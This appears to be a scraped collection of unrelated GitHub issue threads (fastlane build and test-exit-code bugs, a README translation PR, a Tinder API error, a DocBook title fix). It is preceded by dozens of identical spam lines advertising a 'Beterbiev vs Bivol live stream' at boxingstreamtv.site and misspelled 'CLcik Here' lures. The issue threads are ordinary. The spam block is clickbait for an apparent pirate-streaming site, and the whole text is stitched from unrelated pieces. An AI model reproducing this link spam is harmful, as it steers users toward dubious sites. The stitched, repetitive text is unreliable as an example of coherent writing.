**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site
**Artur Beterbiev vs Dmitry Bivol live stream  Boxing>>> https://boxingstreamtv.site

🔴►🌍📺📱👉 CLcik Here ► Live stream watch online
 CLcik Here ►Live stream online

🔴►🌍📺📱👉 CLcik Here ► Live stream watch online
 CLcik Here ►Live stream online

🔴►🌍📺📱👉 CLcik Here ► Live stream watch online
 CLcik Here ►Live stream online

🔴►🌍📺📱👉 CLcik Here ► Live stream watch online
 CLcik Here ►Live stream online

🔴►🌍📺📱👉 CLcik Here ► Live stream watch online
 CLcik Here ►Live stream online

🔴►🌍📺📱👉 CLcik Here ► Live stream watch online
 CLcik Here ►Live stream online

🔴►🌍📺📱👉 CLcik Here ► Live stream watch online
 CLcik Here ►Live stream online

🔴►🌍📺📱👉 CLcik Here ► Live stream watch online
 CLcik Here ►Live stream online

🔴►🌍📺📱👉 CLcik Here ► Live stream watch online
 CLcik Here ►Live stream online

🔴►🌍📺📱👉 CLcik Here ► Live stream watch online
 CLcik Here ►Live stream online

🔴►🌍📺📱👉 CLcik Here ► Live stream watch online
 CLcik Here ►Live stream online

🔴►🌍📺📱👉 CLcik Here ► Live stream watch online
 CLcik Here ►Live stream online

🔴►🌍📺📱👉 CLcik Here ► Live stream watch online
 CLcik Here ►Live stream online

🔴►🌍📺📱👉 CLcik Here ► Live stream watch online
 CLcik Here ►Live stream online

🔴►🌍📺📱👉 CLcik Here ► Live stream watch online
 CLcik Here ►Live stream online

🔴►🌍📺📱👉 CLcik Here ► Live stream watch online
 CLcik Here ►Live stream online

🔴►🌍📺📱👉 CLcik Here ► Live stream watch online
 CLcik Here ►Live stream online

🔴►🌍📺📱👉 CLcik Here ► Live stream watch online
 CLcik Here ►Live stream online

🔴►🌍📺📱👉 CLcik Here ► Live stream watch online
 CLcik Here ►Live stream online

🔴►🌍📺📱👉 CLcik Here ► Live stream watch online
 CLcik Here ►Live stream online

🔴►🌍📺📱👉 CLcik Here ► Live stream watch online
 CLcik Here ►Live stream online

🔴►🌍📺📱👉 CLcik Here ► Live stream watch online
 CLcik Here ►Live stream online

🔴►🌍📺📱👉 CLcik Here ► Live stream watch online
 CLcik Here ►Live stream online

🔴►🌍📺📱👉 CLcik Here ► Live stream watch online
 CLcik Here ►Live stream online

🔴►🌍📺📱👉 CLcik Here ► Live stream watch online
 CLcik Here ►Live stream online

🔴►🌍📺📱👉 CLcik Here ► Live stream watch online
 CLcik Here ►Live stream online

🔴►🌍📺📱👉 CLcik Here ► Live stream watch online
 CLcik Here ►Live stream online

🔴►🌍📺📱👉 CLcik Here ► Live stream watch online
 CLcik Here ►Live stream online

authors: gerissisIK honalew sportstv1133 subornex


text:
FastlaneCore::Project->build_settings() not using -configuration parameter

New Issue Checklist

[ x] Updated fastlane to the latest version
[ x] I have read the Contribution Guidelines

Issue Description
Scan::detect_values.rb->detect_simulator() uses FastlaneCore::Project->build_settings()
which is using command:
xcodebuild -showBuildingSettings -workspace -scheme -project
The issue is that -configuration parameter is not used to list the build settings and it will use the default configuration. This may cause unexpected return if a project has multiple scheme and configuration. e.g different deployment target for different configuration.
fastlane version (run fastlane -v):
Do you use bundler to execute fastlane (i.e. bundle exec fastlane)?
Do you use a Ruby environment manager (e.g. chruby, rbenv, rvm)?

@chenxiao0228 Are you interested in submitting a PR to correct this? I'd love to see that 👍 👍 💯

@TKBurner @chenxiao0228 check my pull request: #6542 if it fixes your problems. Thnx! :)

@tadelv @TKBurner I checked and it fixes the problem. Sorry I should have done it myself.

@tadelv Thanks for contributing! 👍 👍 👍 💯 Email me at burner@twitter.com, I want to ask you something on a private channel.

Closing this as a duplicate of #6113.

authors: TKBurner chenxiao0228 milch tadelv


text:
scan is not always reporting failure return code

New Issue Checklist

[x] Updated fastlane to the latest version
[x] I have read the Contribution Guidelines

Issue Description
I have a bamboo build which executes tests using fastlane's scan. I have two builds with identical test failures but different execution statuses. It looks like an error code is not being returned by scan, which causes the build to think it has succeeded.
Environment
fastlane: 2.13.0
scan: 2.13.0
These are the versions from the builds that behaved poorly. I have since updated to the latest version, but I no longer have failing tests since they have been fixed. I did look at the commits between 2.13.0 and 2.14.2, which is the latest version, and do not see anything that looks like it would have touched this problem.
Build script:
bundle exec fastlane test --env development
bundle exec fastlane integration --env development

Fastfile:
	lane :test do
		scan(scheme: "UnitTests", custom_report_file_name: "junit_unittests.xml", skip_build: true)
	end

	lane :integration do
		scan(scheme: "UITests", custom_report_file_name: "junit_uitests.xml", skip_build: true)
	end

Output
This build had the correct behavior, which is an error return code which caused the build to fail:
31-Jan-2017 09:57:15	         Executed 36 tests, with 13 failures (0 unexpected) in 13.830 (13.834) seconds
31-Jan-2017 09:57:15	Failing tests:
31-Jan-2017 09:57:15	-[MyTestClass testMyTest()]
...
31-Jan-2017 09:57:15	** TEST FAILED **
31-Jan-2017 09:57:15	[09:57:15]: Exit status: 65
31-Jan-2017 09:57:16	+--------------------+----+
31-Jan-2017 09:57:16	|      Test Results       |
31-Jan-2017 09:57:16	+--------------------+----+
31-Jan-2017 09:57:16	| Number of tests    | 25 |
31-Jan-2017 09:57:16	| Number of failures | 0  |
31-Jan-2017 09:57:16	+--------------------+----+
31-Jan-2017 09:57:16
31-Jan-2017 09:57:18	[09:57:18]: Successfully generated report at '/Users/ops/bamboo-agent-home/xml-data/build-dir/COM-PROJ-JOB1/build/reports/junit_uitests.xml'
31-Jan-2017 09:57:18	+----------------------------+---------------------------------------------------------------------+
31-Jan-2017 09:57:18	|                                           Lane Context                                           |
31-Jan-2017 09:57:18	+----------------------------+---------------------------------------------------------------------+
31-Jan-2017 09:57:18	| DEFAULT_PLATFORM           | ios                                                                 |
31-Jan-2017 09:57:18	| ENVIRONMENT                | development                                                         |
31-Jan-2017 09:57:18	| PLATFORM_NAME              | ios                                                                 |
31-Jan-2017 09:57:18	| LANE_NAME                  | ios integration                                                     |
31-Jan-2017 09:57:18	| SCAN_DERIVED_DATA_PATH     | /Users/ops/bamboo-agent-home/xml-data/build-dir/COM-PROJ-JOB1/De... |
31-Jan-2017 09:57:18	| SCAN_GENERATED_PLIST_FILES | ["/Users/ops/bamboo-agent-home/xml-data/build-dir/COM-PROJ-JOB1/... |
31-Jan-2017 09:57:18	| SCAN_GENERATED_PLIST_FILE  | /Users/ops/bamboo-agent-home/xml-data/build-dir/COM-PROJ-JOB1/De... |
31-Jan-2017 09:57:18	+----------------------------+---------------------------------------------------------------------+
31-Jan-2017 09:57:18	[09:57:18]: Test execution failed. Exit status: 65
31-Jan-2017 09:57:18
31-Jan-2017 09:57:18	+------+-------------------------------------+-------------+
31-Jan-2017 09:57:18	|                     fastlane summary                     |
31-Jan-2017 09:57:18	+------+-------------------------------------+-------------+
31-Jan-2017 09:57:18	| Step | Action                              | Time (in s) |
31-Jan-2017 09:57:18	+------+-------------------------------------+-------------+
31-Jan-2017 09:57:18	| 1    | Verifying required fastlane version | 0           |
31-Jan-2017 09:57:18	| 2    | xcversion                           | 0           |
31-Jan-2017 09:57:18	| 3    | xcode_select                        | 0           |
31-Jan-2017 09:57:18	| 4    | default_platform                    | 0           |
31-Jan-2017 09:57:18	| ?   | scan                                | 737         |
31-Jan-2017 09:57:18	+------+-------------------------------------+-------------+
31-Jan-2017 09:57:18
31-Jan-2017 09:57:18	[09:57:18]: fastlane finished with errors
31-Jan-2017 09:57:18
31-Jan-2017 09:57:18	[!] Test execution failed. Exit status: 65
31-Jan-2017 09:57:19	Failing task since return code of [/bin/sh /Users/ops/bamboo-agent-home/temp/COM-PROJ-JOB1-271-ScriptBuildTask-4487576631677732088.sh] was 1 while expected 0
31-Jan-2017 09:57:19	Finished task 'test app' with result: Failed

This build had identical source code, identical build scripts, identical version dependencies, and the same failures, but "succeeded":
30-Jan-2017 13:54:31	         Executed 36 tests, with 13 failures (0 unexpected) in 14.307 (14.311) seconds
30-Jan-2017 13:54:31	Failing tests:
30-Jan-2017 13:54:31	-[MyTestClass testMyTest()]
30-Jan-2017 13:54:31	** TEST FAILED **
30-Jan-2017 13:54:31	[13:54:31]: Exit status: 65
30-Jan-2017 13:54:32	+--------------------+----+
30-Jan-2017 13:54:32	|      Test Results       |
30-Jan-2017 13:54:32	+--------------------+----+
30-Jan-2017 13:54:32	| Number of tests    | 25 |
30-Jan-2017 13:54:32	| Number of failures | 0  |
30-Jan-2017 13:54:32	+--------------------+----+
30-Jan-2017 13:54:32
30-Jan-2017 13:54:34	[13:54:34]: Successfully generated report at '/Users/ops/bamboo-agent-home/xml-data/build-dir/COM-PROJ-JOB1/build/reports/junit_uitests.xml'
30-Jan-2017 13:54:35	+----------------------------+---------------------------------------------------------------------+
30-Jan-2017 13:54:35	|                                           Lane Context                                           |
30-Jan-2017 13:54:35	+----------------------------+---------------------------------------------------------------------+
30-Jan-2017 13:54:35	| DEFAULT_PLATFORM           | ios                                                                 |
30-Jan-2017 13:54:35	| ENVIRONMENT                | development                                                         |
30-Jan-2017 13:54:35	| PLATFORM_NAME              | ios                                                                 |
30-Jan-2017 13:54:35	| LANE_NAME                  | ios integration                                                     |
30-Jan-2017 13:54:35	| SCAN_DERIVED_DATA_PATH     | /Users/ops/bamboo-agent-home/xml-data/build-dir/COM-PROJ-JOB1/De... |
30-Jan-2017 13:54:35	| SCAN_GENERATED_PLIST_FILES | ["/Users/ops/bamboo-agent-home/xml-data/build-dir/COM-PROJ-JOB1/... |
30-Jan-2017 13:54:35	| SCAN_GENERATED_PLIST_FILE  | /Users/ops/bamboo-agent-home/xml-data/build-dir/COM-PROJ-JOB1/De... |
30-Jan-2017 13:54:35	+----------------------------+---------------------------------------------------------------------+
30-Jan-2017 13:54:35	[13:54:35]: Test execution failed. Exit status: 65
30-Jan-2017 13:54:35
30-Jan-2017 13:54:35	+------+-------------------------------------+-------------+
30-Jan-2017 13:54:35	|                     fastlane summary                     |
30-Jan-2017 13:54:35	+------+-------------------------------------+-------------+
30-Jan-2017 13:54:35	| Step | Action                              | Time (in s) |
30-Jan-2017 13:54:35	+------+-------------------------------------+-------------+
30-Jan-2017 13:54:35	| 1    | Verifying required fastlane version | 0           |
30-Jan-2017 13:54:35	| 2    | xcversion                           | 0           |
30-Jan-2017 13:54:35	| 3    | xcode_select                        | 0           |
30-Jan-2017 13:54:35	| 4    | default_platform                    | 0           |
30-Jan-2017 13:54:35	| ?   | scan                                | 735         |
30-Jan-2017 13:54:35	+------+-------------------------------------+-------------+
30-Jan-2017 13:54:35
30-Jan-2017 13:54:35	[13:54:35]: fastlane finished with errors
30-Jan-2017 13:54:35
30-Jan-2017 13:54:35	[!] Test execution failed. Exit status: 65
30-Jan-2017 13:55:05	Finished task 'test app' with result: Success

I included the relevant information, but fine.
✅ fastlane environment ✅
Stack

Key
Value

OS
10.11.6

Ruby
2.3.1

Bundler?
true

Git
git version 2.8.4 (Apple Git-73)

Installation Source
~/.gem/ruby/2.3.0/bin/fastlane

Host
Mac OS X 10.11.6 (15G31)

Ruby Lib Dir
~/.rvm/rubies/ruby-2.3.1/lib

OpenSSL Version
OpenSSL 1.0.2h  3 May 2016

Is contained
false

Is homebrew
false

Xcode Path
/Applications/Xcode.app/Contents/Developer/

Xcode Version
8.0

System Locale

Variable
Value

LANG
en_US.UTF-8
✅

LC_ALL

LANGUAGE

fastlane files:
`./fastlane/Fastfile`
# Customise this file, documentation can be found here:
# https://github.com/fastlane/fastlane/tree/master/fastlane/docs
# All available actions: https://github.com/fastlane/fastlane/blob/master/fastlane/docs/Actions.md
# can also be listed using the `fastlane actions` command

# Change the syntax highlighting to Ruby
# All lines starting with a # are ignored when running `fastlane`

# If you want to automatically update fastlane if a new version is available:
# update_fastlane

# This is the minimum version number required.
# Update this, if you use features of a newer version
fastlane_version "1.100.0"

default_platform :ios

platform :ios do
	before_all do
	end

	desc "Installs FixCode which disables the \"Fix Issue\" button in Xcode"
	lane :xcode do
		install_xcode_plugin(
			url: "https://github.com/fastlane/FixCode/releases/download/0.5.0/FixCode.xcplugin.zip"
		)
	end

	desc "Runs unit tests"
	lane :test do

		scan(scheme: "UnitTests", custom_report_file_name: "junit_unittests.xml", skip_build: true)		#uses defaults from GymFile

	end

	desc "Run Integration tests"
	lane :integration do

		scan(scheme: "UITests", custom_report_file_name: "junit_uitests.xml", skip_build: true)

	end

	private_lane :build_dependencies do

		carthage(command: "bootstrap", # One of: build, bootstrap, update, archive. (default: bootstrap)
			verbose: false,
			platform: "iOS",
			configuration: "Release")

	end

	desc "Update the plist files for the continuous integration environment"
	def update_plist_ci ( options )

		# Xcode versions to prevent warnings on build machine.
		xcversion(version: "8.0") # Selects Xcode 8.0.0
		xcode_select "/Applications/Xcode.app"

		# Update plist values
		build_number = options[:build_number] || get_build_number
		increment_build_number(
			build_number: build_number
		)
		set_info_plist_value( # Change the Display Name of your app
			path: "MyApp/Info.plist",
			key: "CFBundleDisplayName",
			value: ENV["BUNDLE_DISPLAY_NAME"]
		)
		set_info_plist_value( # Change the App Identifier of your app
			path: "MyApp/Info.plist",
			key: "CFBundleIdentifier",
			value: ENV["APP_IDENTIFIER"]
		)
	end

	desc "Build application"
	lane :build do |options|

		pre_build

		match(type: "development", app_identifier: ENV["APP_IDENTIFIER"])

		gym 		#uses defaults from GymFile

	end

	desc "pre build steps"
	lane :pre_build do
		build_dependencies
		swiftlint
	end

	desc "Build for the continuous integration environment"
	lane :build_ci_development do |options|

		update_plist_ci(:build_number=> options[:build_number])

		match(type: "development", app_identifier: ENV["APP_IDENTIFIER"])

		gym 		#uses defaults from GymFile

	end

	desc "Build for deploying to iTunes Connect in the continuous integration environment"
	lane :build_ci_app do |options|

		update_plist_ci(:build_number=> options[:build_number])

		#need to run match and gym
		match(type: "appstore", app_identifier: ENV["APP_IDENTIFIER"])
		gym(output_name: ENV["IPA_FILE"]) 		#uses defaults from GymFile

	end

	def write_changelog(path)
		out_file = File.new(path, "w")
		changelog = change_log_since_last_tag
		out_file.puts(changelog)
		out_file.close
	end

	desc "Submit a new Beta Build to Apple TestFlight"
	desc "This will also make sure the profile is up to date"
	lane :beta do |options|

		changelog = "Update for MyApp iOS"

		if options[:changelog] && File.file?(options[:changelog])
			file = File.open(options[:changelog])
			changelog = file.read
			file.close
		end

		pilot(skip_submission:true, skip_waiting_for_build_processing:true, changelog: changelog, ipa: ENV["IPA_FILE"], app_identifier: ENV["APP_IDENTIFIER"])

	end

	desc "Submit a new Production Build to Apple iTunes Connect"
	desc "This will also make sure the profile is up to date"
	lane :production do |options|

		changelog = "Update for MyApp iOS"

		if options[:changelog] && File.file?(options[:changelog])
			file = File.open(options[:changelog])
			changelog = file.read
			file.close
		end

		pilot(skip_submission:true, skip_waiting_for_build_processing:true, changelog: changelog, ipa: ENV["IPA_FILE"], app_identifier: ENV["APP_IDENTIFIER"])

	end

end

def change_log_since_last_tag
		# http://git-scm.com/docs/pretty-formats
		# <short hash> <commit title>
		return changelog_from_git_commits(pretty: '%h %s')
end

def version_string(version_number, build_number)
		"#{version_number} (#{build_number})"
end

def tag_name(build_type, version_number, build_number)
		"#{build_type}/#{version_number}/#{build_number}"
end

# More information about multiple platforms in fastlane: https://github.com/fastlane/fastlane/blob/master/fastlane/docs/Platforms.md
# All available actions: https://github.com/fastlane/fastlane/blob/master/fastlane/docs/Actions.md

# fastlane reports which actions are used
# No personal data is recorded. Learn more at https://github.com/fastlane/enhancer

`./fastlane/Appfile`
apple_id "my@email.com" # Your Apple email address
team_id "##########"  # Developer Portal Team ID

#use different bundle identifiers per lane
app_identifier "com.mycompany.myapp-dev" # The bundle identifier of your app

for_lane 'beta' do
	app_identifier "com.mycompany.myapp-beta" # The bundle identifier of your app
end

for_lane 'production' do
	app_identifier "com.mycompany.myapp" # The bundle identifier of your app
end

# you can even provide different app identifiers, Apple IDs and team names per lane:
# More information: https://github.com/fastlane/fastlane/blob/master/fastlane/docs/Appfile.md

fastlane gems

Gem
Version
Update-Status

fastlane
2.14.2
✅ Up-To-Date

Loaded fastlane plugins:

Plugin
Version
Update-Status

fastlane-plugin-changelog
0.6.1
✅ Up-To-Date

Loaded gems

Gem
Version

did_you_mean
1.0.0

executable-hooks
1.3.2

bundler-unload
1.0.2

rubygems-bundler
1.4.4

bundler
1.13.6

io-console
0.4.5

CFPropertyList
2.3.5

i18n
0.8.0

json
1.8.6

minitest
5.10.1

thread_safe
0.3.5

tzinfo
1.2.2

activesupport
4.2.7.1

public_suffix
2.0.5

addressable
2.5.0

awesome_print
1.7.0

babosa
1.0.2

claide
1.0.1

fuzzy_match
2.0.4

nap
1.1.0

cocoapods-core
1.2.0

cocoapods-deintegrate
1.0.1

cocoapods-downloader
1.1.3

cocoapods-plugins
1.0.0

cocoapods-search
1.0.0

cocoapods-stats
1.0.0

netrc
0.7.8

cocoapods-trunk
1.1.2

cocoapods-try
1.1.0

colored
1.2

escape
0.0.4

fourflusher
2.0.1

gh_inspector
1.0.3

molinillo
0.5.6

ruby-macho
0.2.6

nanaimo
0.2.3

xcodeproj
1.4.2

cocoapods
1.2.0

highline
1.7.8

commander
4.4.3

diff-lcs
1.3

unf_ext
0.0.7.2

unf
0.1.4

domain_name
0.5.20161129

dotenv
2.2.0

excon
0.55.0

multipart-post
2.0.0

faraday
0.11.0

http-cookie
1.0.3

faraday-cookie_jar
0.0.6

faraday_middleware
0.11.0.1

fastimage
2.0.1

jwt
1.5.6

little-plugger
1.1.4

multi_json
1.12.1

logging
2.1.0

memoist
0.15.0

os
0.9.6

signet
0.7.3

googleauth
0.5.1

httpclient
2.8.3

hurley
0.2

mime-types-data
3.2016.0521

mime-types
3.1

uber
0.0.15

representable
2.3.0

retriable
2.1.0

google-api-client
0.9.28

mini_magick
4.5.1

multi_xml
0.6.0

plist
3.2.0

rubyzip
1.2.1

security
0.1.3

slack-notifier
1.5.1

terminal-notifier
1.7.1

unicode-display_width
1.1.3

terminal-table
1.7.3

word_wrap
1.0.0

rouge
1.11.1

xcpretty
0.2.4

xcpretty-travis-formatter
0.0.4

fastlane-plugin-changelog
0.6.1

find_a_port
1.0.1

rack
2.0.1

rack-test
0.6.3

randexp
0.1.7

rspec-support
3.5.0

rspec-core
3.5.4

rspec-expectations
3.5.0

rspec-mocks
3.5.0

rspec
3.5.0

tins
1.13.2

term-ansicolor
1.4.0

thor
0.19.4

pact-support
0.6.0

webrick
1.3.1

pact-mock_service
0.12.1

xcode-install
2.1.1

generated on: 2017-02-09

Do you run into the same results when you run it locally?

I have not, but I don't often run tests via fastlane locally, and the issue is intermittent. Also my tests aren't usually failing. I can try running with purposeful test fails and see if I can get it to happen.

authors: KrauseFx garie


text:
Uploading 30 sec video promotion file

New Issue Checklist

[x] Updated fastlane to the latest version
[x] I have read the Contribution Guidelines

Issue Description
Complete output when running fastlane, including the stack trace and command used

You can use: --capture_output as the last commandline argument to get that collected for you

[INSERT OUTPUT HERE]
Environment
Please run fastlane env and copy the output below. This will help us help you :+1:
If you used --capture_output option please remove this block - as it is already included there.
[INSERT OUTPUT HERE]

The App store enables to upload a short video clip together with the screenshots.
The problem is that uploading can be done only via Safari...
Is there any option to upload this promotion clip with fastlane?
Thank you.

While this functionality has been offered by fastlane in the past (via the spaceship upload_trailer method), it is currently not working properly with the latest version if iTC.
We are working on a fix at the moment - you can track the progress of this fix here: https://github.com/fastlane/fastlane/issues/9660
Thanks for writing in, and I'm sorry I don't have better news for you!  🚀

Thank you for this information.
I will keep tracking on #9660 hopefully will be resolved soon...

Hey @prolog3001 if you don't mind, I am going to close this issue as a dupe of #9660 and we are going to try to get a fix out shortly! 🐙

authors: mpirri ohayon prolog3001


text:
Architecture dependence of the supply class

Express dependence on architecture like it was done for the Translator class.

In the Translator class, nothing architecture-dependent had been really done yet, so the only thing we had to do was get ready for future architecture dependence. However, in the case of the Supply class, there is already architecture dependence all around without clear separation from architecture-independent code, because it started as just a quick experiment for our virtual system architecture.
For now, I just reimplemented as templates the Supply::link function and the save_program function, so the main function of the translator program is required to specify architecture when calling them. Rather than trying to go further this route, I think we should revise the whole linking process and better define what we expect from the "minimal implementation of language translation" goal.

repo: faustic/fauces


text:
Translate README to Arabic with Google Translate

What this PR make?

Translate README to Arabic with help the Google Translate

Hi @fabiosoaresv,
thank you so much for taking the time to tackle this. I just have one suggestion: I think it's better to have a different REAMDME file for the Arabic translation, so maybe create a README-ar.md file and leave the current README as is.
I will also make some minor improvements to the translation before merging this in the weekend.

@amrrbakry sure! I'll make this

Hi @fabiosoaresv , I would like to thank you again for your time for helping in the documentation but there are some words in
your Arabic translation that could be enhanced in your PR, I will give a time today to suggest Arabic words for you if you are not familiar with Arabic.
@amrrbakry Do you agree with me at this point?
Thanks again

@AmrAdelKhalil Hey! Yes, I agree with you. I translated with careful, but I'll be grateful if you could help to improve the translation.
Best regards.

@AmrAdelKhalil Yes, I completely agree. I was going to work on this, but I haven't had the time just yet. If you can help with it, that would be really helpful. Thanks.

@fabiosoaresv @AmrAdelKhalil Merged! Thank you so much, guys! 👏 👏

authors: AmrAdelKhalil amrrbakry fabiosoaresv

repo: fawry-api/fawry


text:
SMS verification works fine until I input the refresh token and then it gives me this error

The  status code is Optional(400)
the result is Optional({
error =     {
    code = 40006;
    message = "Invalid request body";
};
meta =     {
    status = 400;
};

})

and this is using the most updated commit

@epicalanonhacker If you find a solution, I've open-sourced my own library written on Java where you can find all basic requests including authorization and registration via SMS: https://github.com/RMatushkin/tinder-api

authors: RMatushkin epicalanonhacker

repo: fbessez/Tinder


text:
Missing book title

Not sure why this happens, but the book title is blank after converting the Fabric_Guide. Need to investigate.

The problem was that DocBookRx was looking for the book title under the info element, which is the convention for DocBook 4.5. In DocBook 5.0, on the other hand, the title element is directly a child of book. Fixed by commit d3f1c3e.

Pull request: https://github.com/asciidoctor/docbookrx/pull/58

repo: fbolton/docbookrx